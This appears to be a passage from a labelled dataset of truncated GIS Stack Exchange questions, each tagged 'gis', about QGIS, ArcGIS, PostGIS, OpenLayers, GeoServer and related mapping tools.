",['gis'] "Title: How to join edge of International Date Line in world file? Body: I am currently using world file (http://www.ngdc.noaa.gov/mgg/shorelines/gshhs.html) for international boundary information. Now I have difficulty with map projection that the map ends with ... ",['gis'] "Title: How to create WMS service with GeoServer? Body: I am trying to build first WMS service with GeoServer. I have made layer from shape and layer preview works fine. How can I open this layer with QGIS? How to do map with OpenLayers? I have tried to ... ",['gis'] "Title: SLD style definition from GeoServer to Drupal Body: I've been experimenting with the SLD style definitions in both GeoServer and Drupal. What I want to achieve is to create a new style in GeoServer (by a curl operation, but I know how that works) and ... ",['gis'] "Title: convert ArcMap output map into PDF programaticaly Body: my question is how to convert ArcMap output map into PDF programitically,and what are the requirements for the same. ",['gis'] "Title: Access attributes of a deleted IFeature in ArcObjects 10.1 Body: I am migrating code for an ArcGIS extension from 9.3 to 10.1. The code is throwing an exception in one place. My duty is just to migrate it to 10.1, so I really don't like to do any modification more ... ",['gis'] "Title: How do I geocode street addresses that have information redacted (e.g. 14XX Main St.)? Body: My city has an open data section listing crimes and accidents amongst other things. They include approximate time, type of crime, etc. The way they formatted the location Looks something like this ... ",['gis'] "Title: clipping polygons (vector) map with a polygon (vector) layer Body: A frustrated newbie with QGIS Lisboa version in Windows 7. I want to clip a soil map (multiple polygon vectors) with a single polygon (rectangular polygon vector). The project projection is set at ... ",['gis'] "Title: Why does a geoprocessing service fail every other time it is run? Body: I have a ArcGIS Server 10 geoprocessing service right now that takes in a string and runs a parameterized query to SQL Server 2008R2 through pyodbc. The service works, but only every other time. I can ... ",['gis'] "Title: Handling MODIS NoData cells with gdalwarp Body: I'm using the gdalwarp tool to convert MODIS .hdf into GeoTiff files. I want to set the value of the nodata cells so that when I import the .tif image into Grass there is no black edge. I'm using the ... ",['gis'] "Title: Finding optimal network with python and network analyst in arcgis 10.0 Body: Hello GIS StackExchange, I'd like to know if there's any way to find the shortest distance across the diagonals of a polygon. I am creating a network analyst solution to determine the most cost ... ",['gis'] "Title: osm2pgsql Error: operator class “gist_geometry_ops” does not exist for access method “gist” Body: When using osm2pgsql to import massachusetts-latest.osm.bz2 into PostGIS 2.0.1 database osm (running on PostgreSQL 9.1 on an Ubuntu 12.04), I get the error failed: ERROR: operator class ... ",['gis'] "Title: Script to either rotate existing text element or insert graphic element Body: I have about 300 maps that contain a text element that needs to be rotated. I am pretty new to python but I have heard how great it is. This seemed like the perfect task for python but I have had no ... ",['gis'] "Title: How to enable label orientation? Body: Mac OSX 10.6.8 QGIS 1.8.0 : I'm mapping an area that's a rectangle slanted at 26 degrees, and neighbourhood maps are always printed so the rectangle is horizontal. I'm trying to make the labels ... ",['gis'] "Title: How to make a new polygon/feature from a point which is NOT a centroid? ArcGIS Body: I've spent all morning searching help sites and digging through the FAQs and worksheets but have failed miserably. I am an ArcGIS novice so I hope this isnt too much of a ""newbie"" question but I'm ... ",['gis'] "Title: How to manipulate SDF data via java/jsp (MapGuide open source Web API)? Body: I am relatively new to MapGuide open source technology. I would like to parse and modify data that is in SDF format so that my map displays this updated feature data (dynamically). How can i do so? I ... ",['gis'] "Title: QGIS Field Calculator Results Removed When Saving Edits Body: Mac OSX 10.6.8 QGIS 1.8.0 : Using the field calculator from the attribute table, the $area of each feature is shown nicely in the table until I try to save it, then all the values are replaced by NULL ... ",['gis'] "Title: New geographical point won't show on map Body: I did recently ask a question about how to add a new point to a PostGIS table. Now when I've got the new point in the table it should be visible on my map, but it isn't. I'm using Mapnik together ... ",['gis'] "Title: How can I parse the SLD file that sits in Geoserver so that I can apply the styling to WFS layer? Body: I have a layer that can be configured to render as WFS or WMS. I want to apply the same sld styling that I have defined in Geoserver to make it consistent. But when I try to get the SLD text from ... ",['gis'] "Title: How to import values from feature to variable list in Model Builder Body: I'm trying to create a model to find POI by selection by atrribute. I have feature layer (POI with three fields Kat_1, Kat_2, Kat_3 ) and 3 parameters ( Variables: Kat_1,Kat_2,Kat_3). How to import ... ",['gis'] "Title: Replace Null Values Field Calculator [duplicate] Body: I am using ArcGIS 10 and have a polygon shapefile in which many of the numeric fields are Null. The polygon shapefile in question is produced by joining a polygon shapefile with a point shapefile and ... ",['gis'] "Title: Where can I get the list of Geographic Tranformations in ArcGIS and the area where they are aplicable? Body: I have some data in Provisional South American Datum 1956, and I need to project it to Web Mercator with WGS84 as the datum. When I use the project tool in ArcGIS desktop, it requires a Geographic ... ",['gis'] "Title: Python GDAL: Write new raster using projection from old Body: If I read in a raster image as an array, then make some changes to the values in the array, how do I then save the array as a raster with the same projection information as the original array? In ... ",['gis'] "Title: calculating st_simplify tolerance for openlayers Body: I want to display a vector layer in openlayers. Users can scale the map before they load the vector layer and I'd like to simplify the geometry with st_simplify before sending it to the client. Does ... ",['gis'] "Title: Compilation of QGIS master branch under CentOS 6.3 Body: I tried to compile QGIS master branch 1.9 (qgis-Quantum-GIS-b99ff61) under CentOS for many hours now as explained here and here / here Compilation: [ 7%] Generating ui_qgsmapserverexportbase.py ... ",['gis'] "Title: Unable to load Shapefile using pgShapeloader / shp2pgsql-gui (pgAdmin3's PostGIS Shapefile Import/Export Tool) Body: I am trying to load a shapefile (http://dds.cr.usgs.gov/pub/data/nationalatlas/statesp020_nt00032.tar.gz) into PostGIS 2.0.1 using pgAdmin3's PostGIS Shapefile Import/Export Tool. However its not ... ",['gis'] "Title: Am I over-complicating adding and then calculating fields? Suggestions for a better way? (Python) Body: I'm attempting to re-position a question I asked yesterday here. I am starting to think that the way I wrote my code just isn't the best way. Am I overcomplicating things? I know for a fact that ... ",['gis'] "Title: Export spatial overlay from R package PBSmapping Body: After realising that the GEOS-library in Grass and the R package rgeos is incredibly slow, i found the packe ""PBSmapping"" to do the same thing, a Union of two Polygons and to cut the parts with no ... ",['gis'] "Title: Obtaining NDVI value from NDVI image [duplicate] Body: What id the procedure to obtain NDVI value from NDVI Image? ",['gis'] "Title: How to calculate surface area of highland region using DEM with ArcGIS (ArcEditor)? Body: Am shyaka from Rwanda. I use GIS tools and have all required data to perform or calculate surface area from the polygons that have been given by GPS (Trimble) with ArcPad 8. I originate from a high ... ",['gis'] "Title: Units of Geometry & Geography data type [duplicate] Body: When you store data using the Geography data type (like in PostGIS), is it always in lon/lat in degree decimals? For the Geometry data type, what are the units used in the coordinate pairs? Can it ... ",['gis'] "Title: How to write an equivalent to MapBasic's CreateLine in pyQGIS? Body: I know this kind of question has been asked, in part, before - specifically: Seeing QGIS Python Commands and: How is object created as line using createline stored in .tab file? but this is a specific ... ",['gis'] "Title: call child div function from parent (not using window.opener) Body: This is a a Javascript/JQuery question that is directly related to the ArcGIS Javascript API... I have a map div created using a 'data' tag in HTML, which becomes visible on a button click. (I'll ... ",['gis'] "Title: How do I create a basic image layer as a base layer in OpenLayers? Body: I'm trying to create a map using OpenLayers which uses a png image as a base layer but I'm having a bit of trouble. I'm not too familiar with OpenLayers as I have only come across it today and thought ... ",['gis'] "Title: How to fix the SAGA driver is not writing statistics to .sgrd file? Body: I am converting .img files to .sdat (SAGA) with GDAL 1.9.2 in command line. SAGA driver is not writing statistics to .sgrd file (min, max, mean), which complicates use SAGA_CMD in batch mode (SAGA ... ",['gis'] "Title: Multiple reclassification using RasterCalc in QGIS [duplicate] Body: Is there any way to perform multiple reclassification using RasterCalc? For example reclassifying value 1 to 100 in map Map can be written as: eq([Map]@1, 1, 100) But if there are multiple values ... ",['gis'] "Title: How to perform SIA or Bezier line smoothing in PostGIS? Body: Can anyone provide an example SQL for smoothing linestrings from postgis table using Bezier curves or Iterative Averaging (SIA) algorithm? ",['gis'] "Title: Is there a way to call the clip function in QQGIS from the python console? Body: Is there a way to call the clip function in QQGIS from the python console? It is found under geoprocessing tools in the vector menu. ",['gis'] "Title: Diff operation in PostGIS/Geotools Body: What is the best way to perform a diff operation on Postgis features/tables or Geotools objects? Are there any automatic methods I can use? If not, what would be the optimal way to implement your own ... ",['gis'] "Title: how to configure WFS layer with openlayer in PHP wampserver with windows? Body: I have a problem to display WFS layer outside the Geoserver. My code working fine in geoserver, but when I tried my code in wampserver(PHP), only WMS layer is being to displayed. I gone through many ... ",['gis'] "Title: ST_Box2D in PostGIS 2.0 Body: I am getting an error trying to create a bounding box of a geometry using ST_Box2D(). Is the function deprecated? If so, what is the equivalent function? SELECT ST_Box2D(ST_GeomFromText('LINESTRING(1 ... ",['gis'] "Title: Looking for examples on how GIS techniques facilitate utility surveying and management Body: Anyone get some ideas about the interface between underground utility and GIS? Utility surveying is quite a new topic to me and I want some examples on how GIS techniques facilitate utility surveying ... ",['gis'] "Title: What is a simple binary raster storage format which ArcGIS can read? Body: I have a C++ program that manipulates raster digital elevation models. I have been using ArcGrid ASCII format for results. It is simple to code and gets the job done, but it necessitates a decimal ... ",['gis'] "Title: Which CRS would you use to georeference historical world maps? Body: Which CRS would you recommend to georeference historical world maps like the ones in the London Geographical Institute - The Peoples Atlas - 1920, e.g. The map displays a lat/lon grid which I would ... ",['gis'] "Title: Mapinfo Drive Distance Calculator Body: I have plotted my coverage in mapinfo professional 11 as shown in the image. Now I want to calculate the whole distance coverage in this plot. In the table I have Lat Long column Latitude ... ",['gis'] "Title: matching a border of one polygon to another [duplicate] Body: I have a polygon (A) that I drew the eastern border of in QGIS. I have another polygon(B) whose western border I want to nest against the eastern border of polygon a so they are touching but not ... ",['gis'] "Title: include the robinson projection into open layers Body: I need to include a robinson projection into openlayers, but i found no epsg code for it. i have this spherical mercator projection at the moment and need to change it, but i dont know if it is ... ",['gis'] "Title: ArcObjects: Equivalent/Similar object to old Avenue ObjectTag from ArcView 3.x? Body: I have annotation where a single annotation feature consists of one or more TextElements and RectangleElements grouped together in a GroupElement and then stored in the annotation feature. To edit ... ",['gis'] "Title: Generating Heatmap from PostGIS Body: I have GIS data in a PostGIS data base and would like to generate a density map and display them on a Leaflet/Google Maps. Question: What is the recommended/typical method for doing so, without ... ",['gis'] "Title: WFS in Openlayers Body: I am new in Openlayers and web services in general, but until now I have managed to create a WMS (published by ArcGis to a server provided by uni) and connect it with Openlayers. Projection etc works ... ",['gis'] "Title: Autocorrelated DEM with QGIS or Grass Body: I was wondering if there is a way to make an Autocorrelated DEM within QGIS or Grass. I am looking to do this with stereo aerial photography. I am able to do this with a number of COTS tools, but I ... ",['gis'] "Title: When to use multiple geodatabases? Body: I'm working on a project involving one database , but the customer's needs have evolved, so he needs to manage multiple projects. I tried to work with adding an id for each project, which gave me more ... ",['gis'] "Title: Object does not exist in the namespace “http://schemas.esri.com/arcgis/client/2009” Body: I am trying to move all of my GIS code over the Visual Studio 2012. I have added the following references: C#: using ESRI.ArcGIS.Client; using ESRI.ArcGIS.Client.Geometry; using ... ",['gis'] "Title: Distance from rivers-Zonal Statistics [duplicate] Body: I am using arcgis 10.1 I am trying to calculate euclidean distance from each feature using this large rivers shapefile http://www.arcgis.com/home/item.html?id=44e8358cf83a4b43bc863646cd695945 . And ... ",['gis'] "Title: How to Blink a line on a map similarly like a point blinking on map through lat lon points Body: how to blink a line on a map which is formed by lat lon points through linestring from database the points(lat,lon) comes which is stored in form of MultiLineString. similarly like how a point ... ",['gis'] "Title: How to enable smooth zoom in Openlayers in default library set? Body: I've compared two Openlayers samples: Online dev example - clientzoom release dev example - clientzoom First one zooms in smoothly, second one just flashes and shows tiles from next zoom level. ... ",['gis'] "Title: better way to duplicate a layer using ogr in python? Body: I'm splitting a large shapefile into many smaller ones using ogr. I'd like to just copy all of the field and layer config information from the original. Here's how I'm doing it now: src = ... ",['gis'] "Title: Modify CRS to match boundaries of shapefile Body: I have boundary data in WGS 84 and data in a custom generated CRS. The data in the generated CRS appears to be offset by a particular vector. I want to attempt to match the generated CRS projection ... ",['gis'] "Title: WMS bounded overlay with OpenLayers and GeoServer Body: I'm trying to design a heatmap overlay bounded within four given coordinates with OpenLayers using WMS protocol to communicate with my GeoServer instance, where my data and SLD heatmap description ... ",['gis'] "Title: Which one is better ?SQL server 2012 or Oracle 11g Body: I want to learn a database server, SQL server 2012 or Oracle 11g . I surf in the internet to compare SQL server and Oracle for spatial data and found good websites such as gisboston.it was very ... ",['gis'] "Title: Arcpy error message: 'Layer' object is not subscriptable? Body: What the code does successfully so far, is gets a list of the layers in the first data frame of the current map. What it doesn't succeed in doing is, joining the layer names to the gdb location using ... ",['gis'] "Title: 3D Barriers, ArcGIS Network Analyst Body: I am trying to implement 3D barriers from a feature class into a network using a model, but I can't seem to get the resulting barrier to appear on the proper three dimensional plane. The feature class ... ",['gis'] "Title: Problem with WMS layer from SAGIS: Invalid format/can't parse XML Body: Can you help me the following problem: I try to load WMS layer from SAGIS (Salzburg GIS) into Qgis: http://www.salzburg.gv.at/themen/se/sagis/download.htm for example: Geoland WMS ... ",['gis'] "Title: How to change the case of input text (xtype: “textfield”) Body: I have an input box which asks users to input a UK postcode but which specifies that this must be in lower case, for example so16 0as. Some users find this frustrating as they would just like to copy ... ",['gis'] "Title: How to specify layer getWMSInfo when click feature on map (getWMSInfo with multiple layers) Body: i'm using getWMSFeatureInfo with multiple layers (point)! When i click a point on map, how to specify point clicked belong to any layer?? ",['gis'] "Title: Algorithm to merge adjacent raster datasets Body: I am trying to figure out how to merge adjacent raster datasets. Is there any clear algorithms (may be a pseudo code)? ",['gis'] "Title: How to create a small globe locator map in QGIS? Body: I've tried searching on gis.stackexchange and elsewhere but can't seem to figure this one out though it seems simple enough. The type of locator I'm thinking of is similar to the one from the map in ... ",['gis'] "Title: geoserver returns incorrect number of points when cql used Body: I'm using Geoserver 2.2.4 to support WMS queries. All testing is done via the ""Layer Preview"" page. If I send a request with no CQL a map full of points is returned as expected. If I add a CQL ... ",['gis'] "Title: Is it possible to fix a vector layer after I badly georeferenced a map? [duplicate] Body: Sorry in advance if I missed another question on this topic. I searched for everything I could think of, but I didn't find anything with a solution to my problem. I am quite new to GIS tools and ... ",['gis'] "Title: Where can I find annual temperature & relative humidity data of every town in India? Body: Need the historical data of temperature & relative humidity of a place called Bhiwadi in Rajasthan state of India ",['gis'] "Title: Question about subs in MapBasic Body: For some reason my sub isn't 'linking' in MapBasic, I'm pretty new to this, but why is the sub assuming it begins on line 110 rather than where it actually says sub? Thanks, Alan ",['gis'] "Title: Slicing / Cutting a Polygon / Polygon List based on another geometry Body: I currently use GeoDjango (GEOS, GDAL, PROJ4), I have rather medium set of polygon data (buildings). To streamline them to a client efficiently (client has a limited viewport) I only want to send the ... ",['gis'] "Title: In an ESRI Shapefile, what is the “Record Number” field of each record header in the .shp file? Body: The shapefile specification (http://www.esri.com/library/whitepapers/pdfs/shapefile.pdf) only says ""Record numbers begin at 1."" (page 5), which doesn't specify what the field actually is. As per page ... ",['gis'] "Title: How to create a point grid within a polygon layer? Body: Want to generate a point layer, that contains the maximum points in a polygon layer. all points should have the distance of 6 meters between each other. how can i do it? ",['gis'] "Title: Error 001143 and Error 99999 when using Locate Features Along Routes in ArcGIS10.1 Body: To Whom it May Concern, So, oddly, what I need to do has worked for about half of my data but not the rest. I'm trying to use the Locate Features Along Routes tool in ArcGIS10.1. I have a smaller ... ",['gis'] "Title: Why can't I import arcpy? Body: >>> import arcpy Traceback (most recent call last): File ""<interactive input>"", line 1, in <module> File ""C:\Python27\lib\arcpy\__init__.py"", line 21, in <module> ... ",['gis'] "Title: Synchronize data edits between ArcMap and ArcGIS Online Body: What, if any, workflows are available to round trip data between ArcGIS Desktop and an ArcGIS Online for Organizations (AGOL) web map with editable feature layers? For example, we have a web map with ... ",['gis'] "Title: Regenerate Geowebcache Tiles on PostGIS change Body: I am using Geoserver with Geocache to get WMS tiles and a PostGIS backend. There are 2 systems using the PostGIS database: one that is with Geoserver and one that is an old system that just uses the ... ",['gis'] "Title: OpenLayers - Transform resolution Body: I want display resolution of the map for each zoom level. So I've create event listener for zoom event, but it is displayed in different projection that I want (I guess). So I need to transform this ... ",['gis'] "Title: Network Analyst REST service gives error “Routing error: Unable to complete operation unable to find attribute invalid Context” Body: I have created an Network Analyst Routing sample. On Arcmap it works fine when creating a route on the data. However, when I create Network Analyst service through ArcGIS Server, using this REST ... ",['gis'] "Title: Refresh Database automatically Body: I'm a new user of QGIS. I have a problem trying to update layers from a database. I have a MySQL database in a server that I add as a layer (or more than one, depends on the project) with no problem. ... ",['gis'] "Title: When digitizing Lines, vertices are automatically generalized when finished feature Body: I am creating lines(feature class) and when the feature is finished Arcmap 10 will automatically generalize/smoothens the line. Is there any reason why this is happening? is this a bug of ArcMap 10? ... ",['gis'] "Title: Previewing File Geodatabase in QGIS Browser - Is it Possible? Body: Can I Preview/look at file geodatabase attributes in the QGIS browser if I have installed QGIS using OSGEO4W installer and FileGDB API? Currently I can add/edit file geodatabase feature classes to ... ",['gis'] "Title: Heatmap algorithm to visualise point diversity Body: Can anyone suggest an algorithm to generate a heatmap for visualising point diversity? An example application would be for mapping areas of high species diversity. For some species, every single plant ... ",['gis'] "Title: How can I use NZLoad using python or arcpy script? Body: I have CSV file which has millions of feature class record merged with some metadata information which I want to load into Netezza database. I have tried it using insert query but it is very very ... ",['gis'] "Title: PostGIS: Merge multiple table with same GID Body: I just imported some shapefiles with the PostGIS importer. Because several errors and issues I had to split my shapefile in multiple parts. Then I imported them one by one. I thought I can easily ... ",['gis'] "Title: How does WiFiSLAM work? Body: Apple recently acquired WifiSlam. How does their technology work? Their website doesn't go into much detail. Allow your smartphone to pinpoint its location (and the location of your friends) ... ",['gis'] "Title: How to load more than the standard tools to the grass toolbox? Body: I need to know how I get all the grass tools into the grass toolbox of QGIS. Is there an easy way to do this? I tried the sextante toolbox. After an update sextante doesnt work (python errors). For ... ",['gis'] "Title: How do I style lines to show gradient colors for two attributes? Body: I have a layer with the city streets. I have a database with traffic values, including traffic going into the city and traffic going out from the city. I need to show the street links with different ... ",['gis'] "Title: Help in GRASS/QGIS/Python Body: I have Idea about ArcGIS, and a bit of QGIS and zero programming knowledge, which I am trying for thesedays. I saw GRASS GIS and have started working with shapefiles, which are not being loaded... :( ... ",['gis'] "Title: Can't load Mxd file in MapControl? Body: I used below codes to save IMap into byte[] (to store in my database), but I can't load it again, are there anyone know what's wrong ? public byte[] SaveMap(AxPageLayoutControl pageLayOut) { ... ",['gis'] "Title: Leaflet: Linking a marker click event to an image Body: I'm breaking down my question into three parts. I am a beginner to Leaflet and to writing code. Currently, I have a JSON file with all of my markers linked to my map page. The idea is that every ... ",['gis'] "Title: Problem inserting new features to file geodatabase feature class using ArcObjects 10 SDK Body: I'm trying to add new feature to file GDB feature class and keep getting this error: Objects in this class cannot be updated outside an edit session. Feature class has attachments enabled (exists ... ",['gis'] "Title: Calculate distance of point along a line using NetTopologySuite Body: I am looking to calculate the distance along a line of a point using NetTopologySuite. Indications are that the distanceOp may have something to do with it, given that I can a point on a line closest ... ",['gis'] "Title: styles when merging shapefiles in qgis Body: Trying to create something for mapstory.org It wants it in all one shapefile. So I create a polygons and lines (with time attributes) in qgis 1.8 Then merge them all into one shapefile, how can you ... ",['gis'] "Title: Can you map with numbers and words in the same column? Body: I have a column in my .dbf file that is a mixture of gradually increasing numbers but also a word for all of the items that don't match the criteria, for example: **JUNIOR_PRI,N,4,2** 3.9 2.44 1.38 ... ",['gis'] "Title: Problem Reclassifying Rasters Body: I need to reclassify some vector data which was made from Euclidian distance from points and lines. So after getting the Euclidian distances, I tried to run reclassify, but got: Error 001100 Failed ... ",['gis'] "Title: Mysterious Problems with .IGE file Body: I'm trying to manipulate an .IGE file, which I understand is a raster data format developed by Erdas Imagine. The data I've downloaded is the National Land Cover Database (NLCD) 2006 Percent Developed ... ",['gis'] "Title: code for finding gaps between polygon parcels Body: i am trying to write code for finding gaps between polygons, the idea is to convert polygons to polylines and checking the attribute table, each selected segment that shows two records in the tables ... ",['gis'] "Title: Slow Wfs Loading Body: i use postgis 2.0, geoserver and openlayer for my gis development. i ceate simple wfs which have 100.000 polygon . i try to use it with openlayers. but this wfs layer load about two minutes. because ... ",['gis'] "Title: ArcCatalog 10.1 tree doesn't refresh after adding new custom IGxObject at runtime Body: I am using ArcObjects 10.1 (.NET) to customize ArcCatalog: adding new nodes in catalog tree like in the Esri's example. But when I add new child node to already expanded parent, it doesn't show up in ... ",['gis'] "Title: How do I tell GRASS where to find Python? Body: For some reason, when I start GRASS on my Mac it says that it has found Python 2.6.7. However, /usr/bin/python version is 2.7.2 and I can't find a lower version anywhere on my system. Potentially ... ",['gis'] "Title: Data management in GRASS from command line? Body: I'm trying to import a large set of raster files into GRASS. The GUI import tool works fine for a handful of files, but it appears to require that I click the ""Layer id"" checkbox for each individual ... ",['gis'] "Title: ArcMap runs custom script once and then it crashes on second run Body: So I made a script that takes data from an MSSQL database and inserts it into a featureclass. I added the script to a toolbox and am able to run the tool from within ArcMap 10.1. The problem is that ... ",['gis'] "Title: Convert Heatmap into a Grid of Points Body: Question: How do you take a heatmap generated using a GIS software (arcgis, qgis...) and convert it into a uniform grid array of points which can be used to regenerate the heatmap (although with ... ",['gis'] "Title: Re-enabling a web service API call that has stopped working unexpectedly Body: so we have are running an instance of ArcGis Server, and have a handful of services running. These were set up by someone who is no longer working with the company. Some of them are built into ... ",['gis'] "Title: Problems in making CLM files with DIVA-GIS Body: I am fairly new to GIS softwares and this will be my first post here. I'm working with DIVA-GIS and was redirected here. I hope this is the correct place. I am doing a research which involves ... ",['gis'] "Title: SSHFS won't read / write ArcMap documents (.mxd) Body: I am trying to use SSHFS to access our file server and work on geographic data. I can mount the drive, get arc catalog to connect to the folder, and I can access and edit geodatabases and shapefiles. ... ",['gis'] "Title: Could someone suggest a good GeoExt Tutorial? Body: In my research I've found these two, which are only explaining the basics. http://workshops.opengeo.org/geoext/index.html ftp://ftp.itc.nl/pub/jmmgnl/GeoExt_Workshop/GeoExt-Workshop.pdf And of ... ",['gis'] "Title: How can I get the proj4 string or EPSG code from a shapefile .prj file? [duplicate] Body: I have to work with a shapefile defined in an unusual projection, which my GIS software does not know about. How can I get the proj4 definition or the EPSG code for the projection? ",['gis'] "Title: How to use Mercator projection on png map [duplicate] Body: I´ve got map(png) with size 2143x1723. When i want to get WGS84 coordinates to each point i use following algorithm for (int i = 0; i < pictureBox.Image.Height; i++) { // ... ",['gis'] "Title: which method is appropriate for interpolating temperature data in ArcGIS? [duplicate] Body: I am doing a study on urban heat island where i have to study the atmospheric heat island. there are 20 thermo-hygrometers kept at different locations within a city. daily 4 times the readings are ... ",['gis'] "Title: QGIS cannot view raster loaded to PostGIS through raster2pgsql Body: I tried to load a raster GeoTIFF image to a PostGIS database using ""raster2pgsql"" following the OpenGeo Suite Manual. The command I used is: C:\>raster2pgsql -s 4283 -I -C -M ""C:\Program ... ",['gis'] "Title: Automatically discard nodata area of raster [duplicate] Body: Given a raster with an overly large nodata surround, how can I automatically discard the surround? Said another way: how does one shrink the raster extent to only occupy the area containing values? I ... ",['gis'] "Title: arcpy.mapping ErrorHandling not existing Body: After 11 years our work group filesystem holds a lot of old arcmap project mxds and layer files. Also our geodatasources need some reorganization. So I wanted to create a script which iterates through ... ",['gis'] "Title: GeoDjango - Use GDAL python binding in the shell Body: I would like to use the GDAL python binding in my GeoDjango site. The aim of this is to use ogr2ogr capabilities in a script. I am on windows 7 so I have installed GDAL-1.9.2.win32-py2.7 downloaded ... ",['gis'] "Title: Unique Polygon Border Colors and Matching Label Body: I'm working with zip codes, and I'd like to have each zip code polygon have a uniquely colored border with a corresponding label color. So, ideally, zip code 12345 would have no fill color, a blue ... ",['gis'] "Title: Alternatives to ArcGIS Online? Body: I am considering purchasing ArcGIS Online for a group of users who currently use about 5% of ArcGIS capabilities (ArcMap, simple map creation and information display) about 80% of the time. Primary ... ",['gis'] "Title: Searching Pixel Location (idrisi) on Another GIS Body: I'm Searching similar command Pixel Location (like idrisi) on Another GIS, I, need create raster file with values ​​lat, long by separately... Update: I need a raster file where the value of each ... ",['gis'] "Title: How do services like Google Maps compute the set of instructions for a route? Body: The problem of computing the driving directions from A to B can be divided into two equally important parts: Finding the best path from A to B. Identifying all the relevant maneuvers along that ... ",['gis'] "Title: Help exporting CSVs using MapBasic Body: I'm a beginner to MapBasic and I'm currently working on a tool, I want to export a table as a .csv either using Run Command or Export. I want to export it to a specific directory, for example ... ",['gis'] "Title: Assign global variable to field in related table Body: I'm able to get ESRI's ArcPad Login Form to assign a global variable to a field in the EDITFORM for Page1, but I actually want it to assign to a field in a related table (TABLEFORM), using an onload ... ",['gis'] "Title: get value from attribute table and change symbology with QGIS and Python Body: I'm newbie developing plugins for QGIS using Python, this is the first one and it is very frustrating hehe. Ok, this is the situation, I have a 1 point layer in QGIS. Its attribute table has 4 fields ... ",['gis'] "Title: Openlayers ZoomOffset Body: Hopefully someone can help. I've created a TMS Layer in OpenLayers which has some local tiles these tiles are OSGB OpenData. I'm trying to get the initial zoom to be level 4 instead of 0. However ... ",['gis'] "Title: Connect script with a sub-menu entry within Python-Addin Body: I have created a menu entry using ""pythonaddins"" and it contains 2 sub-menus. Two separate scripts have to be linked to the sub-menus which should be invoked one-by-one when I click on sub-menu entry. ... ",['gis'] "Title: How to get route between Two lat/long using ArcGis Map in Android? Body: What I'm trying to do is have two edit boxes for source and destination. Based on those two locations I need to draw the route on an ArcGIS map in Android. Any ideas or suggestions would be greatly ... ",['gis'] "Title: label for circle marker in leaflet Body: I am able to add label to circlemarker like this L.circleMarker(points[i],{title: 'unselected'}).bindLabel('Destination').addTo(map); This adds label which appears on mouse hover on circle marker. ... ",['gis'] "Title: OpenLayers WMSGetFeatureInfo with Proxy - blocked by server? Body: I've already been through all the threads regarding openlayers xss problem here at SE. However, I did not find any answer to my issue. I'm running a Geoserver on Tomcat listening on port 8080. If I ... ",['gis'] "Title: How to Create database using OGC compliant geometries and Custom type Geometries? Body: I am interested in storing geometry attributes in a PostGis database, so that it would be OGC compliant, along with OGC compliant geometry types like point,line, linestring, etc. I also wanted to ... ",['gis'] "Title: Table for feature layer in PostGIS database cannot be published and enabled on GeoServer Body: I have tried to publish a table for feature layer in a PostGIS database to GeoServer 2.2.5. The layer was added and published. However, the layer has got a yellow exclamation mark in the ""Enabled?"" ... ",['gis'] "Title: Why can't I connect to ArcGIS Server 10.1 from ArcCatalog? Body: I have my work laptop at home and when I open ArcCatalog 10.1 and click on my connection to our ArcGIS Server which I am an admin user on, I get the following messsage: I hit Yes, and the following ... ",['gis'] "Title: Add GRASS Addon to Sextant within QGIS Body: I have successfully installed r.viewshed as an add-on in GRASSS 6.4.2. I would like the command to show up in the list of algorithms within Sextante. Is there a way to make Sextante ""aware"" of ... ",['gis'] "Title: Why do ArcGIS Area Calculations not match Official Statistics? Body: I am trying to calculate area of polygons using a shapefile from the world bank where countries are defined. When however I am trying to calcuate the area, the numbers that emerge are different from ... ",['gis'] "Title: Can you explain this WKT multipolygon format? Body: I am confused by the output I'm getting from ogr2ogr when converting a shapefile to WKT. What I'm expecting to see is something in the form below (from Wikipedia): MULTIPOLYGON (((40 40, 20 45, 45 ... ",['gis'] "Title: How to create generic building footprints based on attribute information? Body: I'm trying to create a tool that generically creates building footprints on a given parcel according to certain attribute information of the parcel like building density, max. height, utilisation, ... ",['gis'] "Title: How to create an indoor map and display it using web browser Body: I need to create an indoor map for one building and display it like tiles from Google Maps. I am trying to create a vector map from QGIS software and I'm trying to display it using OpenLayers. I would ... ",['gis'] "Title: How to clip rasterdata for later processing? Body: My need to dwell with geographical tools is only temporary, thus I am not well versed and my question is difficult to pinpoint exactly. But here it goes: -I have about 5-10 sites, for which I need ... ",['gis'] "Title: How to evaluate raster calculator expressions from the console? Body: How can I execute from the console an expression that should be used with the raster calculator? I'm searching for something like this: qgis.someRasterCalcClass.evaluate(""boh@1 + boh@2"", ... ",['gis'] "Title: How to visualize pgrouting query results in mapguide open source Body: I would like to make a spatial query using postgis 2.0 and pgrouting 1.05 then visualize results in Mapguide open source.Any suggestions? ",['gis'] "Title: OpenLayers - setting opacity ti a webservice layer (if statement) Body: I've got an openlayers application which calls the layers from MSSQL via a webservice. The problem is that I want to set an opacity level for one of the layers (If layer name = X, set opacity level to ... ",['gis'] "Title: ModelBuilder: How2 pipe output of Iterate Raster tool into Raster Calculator tool? Body: Re: ArcGIS v10.1 ModelBuilder Hello, THE PROBLEM: Using ModelBuilder and map algebra, I want to compute a ten year average grid from a stack of 10. The problem is that only 1 grid (%raster%), the ... ",['gis'] "Title: How to change the default color used by openlayers? Body: I am very, very new to web mapping.. I have an OpenLayers map made from shape file from PostGIS database, have a vector layer and it has default style, but I want to change the style of vector layer. ... ",['gis'] "Title: Is there a simple automated way (plugin preferred) to split all lines in a layer at their vertices? Body: Like the title said, I want to automatically split all lines in a qgis layer at their vertices (like this). I've done a google search and found this article, which is quite close but the workflow is ... ",['gis'] "Title: Cannot Import Feature Class into Personal Geodatabase in ArcGIS 10.1 Body: My objective is really simple. I have a shapefile and would like to convert it to a Feature Class. My goal is to use HEM tools, which I think requires me to convert my shapefile of interest to a ... ",['gis'] "Title: QGIS: put vector values into separate layers? Body: QGIS 1.8.0 Mac: I've got a polygon shape file with values 1-5 in it i.e. contours. How do I get the polygons for value 5 into one layer, 4 into another... so I can assign each a colour and see them? ",['gis'] "Title: Stuck while Using GeoServer WPS with QGIS Body: I have been using Geoserver WFS and WMS with Qgis for a longtime. Now i am trying to integrate WPS... I downloaded and activated WPS plugin for Geoserver. And i succesfully got result of buffer ... ",['gis'] "Title: What software is available on OSX for working with DEMs? Body: I have several adjacent DEM files and would like to combine them into a mosaic and then export to DEM and TXT. I know a Windows solution is to use MICRODEM but before installing Windows 7 I would like ... ",['gis'] "Title: Extent is zooming map to 0,0 Body: When I use this code (from the example): ESRI.ArcGIS.Client.Geometry.Envelope myEnvelope = new ESRI.ArcGIS.Client.Geometry.Envelope(); myEnvelope.XMin = -130; myEnvelope.YMin ... ",['gis'] "Title: Unreachable vertex Body: I'm developing an 